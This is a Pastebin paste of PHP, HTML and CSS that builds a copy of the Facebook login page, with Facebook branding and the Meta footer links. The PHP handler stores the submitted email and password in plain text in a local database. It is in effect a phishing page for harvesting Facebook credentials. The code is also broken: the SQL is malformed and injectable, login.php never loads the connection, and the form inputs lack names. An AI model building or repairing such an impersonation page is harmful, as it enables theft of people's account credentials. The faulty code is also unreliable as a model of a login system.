API tools faq
paste
Advertisement
Guest User

Website

a guest
Apr 21st, 2025
18
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.66 KB | None | 0 0
raw download clone embed print report
  1. connection:php:
  2.  
  3. <?php
  4.  
  5. $dbhost = "localhost";
  6. $dbuser = "root";
  7. $dbpass = "";
  8. $dbname = "login_sample_db";
  9.  
  10. if(!$con = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname))
  11. {
  12.  
  13. die("failed to connect!");
  14. }
  15.  
  16. functions:php:
  17.  
  18. <?php
  19.  
  20. function check_login($con)
  21. {
  22.  
  23. if(isset($_SESSION['user_id']))
  24. {
  25.  
  26. $id = $_SESSION['user_id'];
  27. $query = "select * from users where user_id = '$id' limit 1";
  28.  
  29. $result = mysqli_query($con,$query);
  30. if($result && mysqli_num_rows($result) > 0)
  31. {
  32.  
  33. $user_data = mysqli_fetch_assoc($result);
  34. return $user_data;
  35. }
  36. }
  37.  
  38. //redirect to login
  39. header("Location: index.php");
  40. die;
  41.  
  42. }
  43.  
  44. function random_num($length)
  45. {
  46.  
  47. $text = "";
  48. if($length < 5)
  49. {
  50. $length = 5;
  51. }
  52.  
  53. $len = rand(4,$length);
  54.  
  55. for ($i=0; $i < $len; $i++) {
  56. # code...
  57.  
  58. $text .= rand(0,9);
  59. }
  60.  
  61. return $text;
  62. }
  63.  
  64. index.php:
  65.  
  66. <?php
  67. session_start();
  68.  
  69. include("connection.php");
  70. include("functions.php");
  71.  
  72. $user_data = check_login($con);
  73.  
  74. ?>
  75.  
  76. <!DOCTYPE html>
  77. <html>
  78. <head>
  79. <title>My website</title>
  80. </head>
  81. <body>
  82.  
  83. <a href="logout.php">Logout</a>
  84. <h1>This is the index page</h1>
  85.  
  86. <br>
  87. Hello, <?php echo $user_data['user_name']; ?>
  88. </body>
  89. </html>
  90.  
  91. login.php:
  92.  
  93.  
  94. <?php
  95. session_start();
  96.  
  97.  
  98. if($_SERVER['REQUEST_METHOD'] == "POST")
  99. {
  100.  
  101. //something was posted
  102. $user_name = $_POST['email'];
  103. $password = $_POST['password'];
  104. if(!empty($user_name) && !empty($password) && !is_numeric($user_name))
  105. {
  106.  
  107. //save to database
  108. $user_id = random_num(20);
  109. $query = "insert into users (user_name,password) values ($user_name','$password')";
  110.  
  111. mysqli_query($con, $query);
  112.  
  113. header("Location: login.php");
  114. die;
  115. }else
  116. {
  117. echo "Please enter some valid information!";
  118. }
  119. }
  120. ?>
  121.  
  122.  
  123.  
  124. login:php:
  125.  
  126. <!DOCTYPE html>
  127. <html lang="en">
  128. <head>
  129. <!-- Importing External CSS -->
  130. <link rel="stylesheet" href="style.css" />
  131. </head>
  132. <body>
  133. <div class="row res">
  134. <div class="fb-form res">
  135. <div class="card">
  136. <h1>facebook</h1>
  137. <p>Connect with friends and the world </p>
  138. <p> around you on Facebook.</p>
  139. </div>
  140. <form method="post">
  141. <input type="email" placeholder="Email or phone number"
  142. required>
  143. <input type="password" placeholder="Password" required>
  144. <div class="fb-submit">
  145. <button type="submit" class="login">Login</button>
  146. <a href="#" class="forgot">Forgot password?</a>
  147. </div>
  148. <hr>
  149. <div class="button">
  150. <a href="#">Create new account</a>
  151. </div>
  152. </form>
  153. </div>
  154. </div>
  155. <footer>
  156. <div class="footer-langs">
  157. <ol>
  158. <li>English (UK)</li>
  159. <li><a href="#">मराठी</a></li>
  160. <li><a href="#">हिन्दी</a></li>
  161. <li><a href="#">اردو</a></li>
  162. <li><a href="#">ગુજરાતી</a></li>
  163. <li><a href="#">ಕನ್ನಡ</a></li>
  164. <li><a href="#">ਪੰਜਾਬੀ</a></li>
  165. <li><a href="#">தமிழ்</a></li>
  166. <li><a href="#">বাংলা</a></li>
  167. <li><a href="#">తెలుగు</a></li>
  168. <li><a href="#">മലയാളം</a></li>
  169. <li><button>+</button></li>
  170. </ol>
  171. <ol>
  172. <li><a href="#">Sign Up</a></li>
  173. <li><a href="#">Log In </a></li>
  174. <li><a href="#">Messenger</a></li>
  175. <li><a href="#">Facebook Lite</a></li>
  176. <li><a href="#">Video</a></li>
  177. <li><a href="#">Places</a></li>
  178. <li><a href="#">Games</a></li>
  179. <li><a href="#">Marketplace</a></li>
  180. <li><a href="#">Meta Pay</a></li>
  181. <li><a href="#">Meta Store</a></li>
  182. <li><a href="#">Meta Quest</a></li>
  183. <li><a href="#">Imagine with Meta AI</a></li>
  184. <li><a href="#">Instagram</a></li>
  185. <li><a href="#">Threads</a></li>
  186. <li><a href="#">Fundraisers</a></li>
  187. <li><a href="#">Services</a></li>
  188. <li><a href="#">Voting Information Centre</a></li>
  189. <li><a href="#">Privacy Policy</a></li>
  190. <li><a href="#">Privacy Centre</a></li>
  191. <li><a href="#">Groups</a></li>
  192. <li><a href="#">About</a></li>
  193. <li><a href="#">Create ad</a></li>
  194. <li><a href="#">Create Page</a></li>
  195. <li><a href="#">Developers</a></li>
  196. <li><a href="#">Careers</a></li>
  197. <li><a href="#">Cookies</a></li>
  198. <li><a href="#">AdChoices</a></li>
  199. <li><a href="#">Terms</a></li>
  200. <li><a href="#">Help</a></li>
  201. <li><a href="#">Contact uploading and non-users</a></li>
  202. </ol>
  203. <small>Meta © 2024</small>
  204. </div>
  205. </footer>
  206. </body>
  207.  
  208. </html>
  209.  
  210. style.css:
  211.  
  212. @import url("https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600;700&display=swap");
  213.  
  214. * {
  215. margin: 0;
  216. padding: 0;
  217. box-sizing: border-box;
  218. font-family: "Roboto", sans-serif;
  219. }
  220.  
  221. .res {
  222. display: flex;
  223. align-items: center;
  224. }
  225.  
  226. .row {
  227. padding: 0 15px;
  228. min-height: 100vh;
  229. justify-content: center;
  230. background: #f0f2f5;
  231. }
  232.  
  233. .fb-form {
  234. justify-content: space-between;
  235. max-width: 1000px;
  236. width: 100%;
  237. }
  238.  
  239. .fb-form .card {
  240. margin-bottom: 90px;
  241. }
  242.  
  243. .fb-form h1 {
  244. color: #1877f2;
  245. font-size: 4rem;
  246. margin-bottom: 10px;
  247. }
  248.  
  249. .fb-form p {
  250. font-size: 1.75rem;
  251. white-space: nowrap;
  252. }
  253.  
  254. form {
  255. display: flex;
  256. flex-direction: column;
  257. background: #fff;
  258. border-radius: 8px;
  259. padding: 20px;
  260. box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1), 0 8px 16px rgba(0, 0, 0, 0.1);
  261. max-width: 400px;
  262. width: 100%;
  263. }
  264.  
  265. form input {
  266. height: 55px;
  267. width: 100%;
  268. border: 1px solid #ccc;
  269. border-radius: 6px;
  270. margin-bottom: 15px;
  271. font-size: 1rem;
  272. padding: 0 14px;
  273. }
  274.  
  275. form input:focus {
  276. outline: none;
  277. border-color: #1877f2;
  278. }
  279.  
  280. ::placeholder {
  281. color: #777;
  282. font-size: 1.063rem;
  283. }
  284.  
  285. .fb-submit {
  286. display: flex;
  287. flex-direction: column;
  288. text-align: center;
  289. gap: 15px;
  290. }
  291.  
  292. .fb-submit .login {
  293. border: none;
  294. outline: none;
  295. cursor: pointer;
  296. background: #1877f2;
  297. padding: 15px 0;
  298. border-radius: 6px;
  299. color: #fff;
  300. font-size: 1.25rem;
  301. font-weight: 600;
  302. transition: 0.2s ease;
  303. }
  304.  
  305. .fb-submit .login:hover {
  306. background: #0d65d9;
  307. }
  308.  
  309. form a {
  310. text-decoration: none;
  311. }
  312.  
  313. .fb-submit .forgot {
  314. color: #1877f2;
  315. font-size: 0.875rem;
  316. }
  317.  
  318. .fb-submit .forgot:hover {
  319. text-decoration: underline;
  320. }
  321.  
  322. hr {
  323. border: none;
  324. height: 1px;
  325. background-color: #ccc;
  326. margin-bottom: 20px;
  327. margin-top: 20px;
  328. }
  329.  
  330. .button {
  331. margin-top: 25px;
  332. text-align: center;
  333. margin-bottom: 20px;
  334. }
  335.  
  336. .button a {
  337. padding: 15px 20px;
  338. background: #42b72a;
  339. border-radius: 6px;
  340. color: #fff;
  341. font-size: 1.063rem;
  342. font-weight: 600;
  343. transition: 0.2s ease;
  344. }
  345.  
  346. .button a:hover {
  347. background: #3ba626;
  348. }
  349.  
  350. .footer-langs {
  351. max-width: 1000px;
  352. margin: 0 auto;
  353. padding: 20px;
  354. }
  355.  
  356. footer ol {
  357. display: flex;
  358. flex-wrap: wrap;
  359. list-style-type: none;
  360. padding: 8px 0;
  361.  
  362. margin-left: 3vh;
  363. }
  364.  
  365. footer ol:first-child {
  366. border-bottom: 1px solid #dddfe2;
  367. }
  368.  
  369. footer ol:first-child li:last-child button {
  370. background-color: #f5f6f7;
  371. border: 1px solid #ccd0d5;
  372. outline: none;
  373. color: #4b4f56;
  374. padding: 0 8px;
  375. font-weight: 700;
  376. font-size: 12px;
  377. }
  378.  
  379. footer ol li {
  380. padding-right: 20px;
  381. font-size: 12px;
  382. color: #8a8d91;
  383. }
  384.  
  385. footer ol li a {
  386. text-decoration: none;
  387. color: #8a8d91;
  388. }
  389.  
  390. footer ol li a:hover {
  391. text-decoration: underline;
  392. }
  393.  
  394. footer small {
  395. font-size: 12px;
  396. color: #8a8d91;
  397. margin-left: 3vh;
  398. }
  399.  
  400. @media (max-width: 900px) {
  401. .fb-form {
  402. flex-direction: column;
  403. text-align: center;
  404. }
  405.  
  406. .fb-form .card {
  407. margin-bottom: 30px;
  408. }
  409. }
  410.  
  411. @media (max-width: 460px) {
  412. .fb-form h1 {
  413. font-size: 3.5rem;
  414. }
  415.  
  416. .fb-form p {
  417. font-size: 1.3rem;
  418. }
  419.  
  420. form {
  421. padding: 15px;
  422. }
  423. }
  424.  
  425.  
  426.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!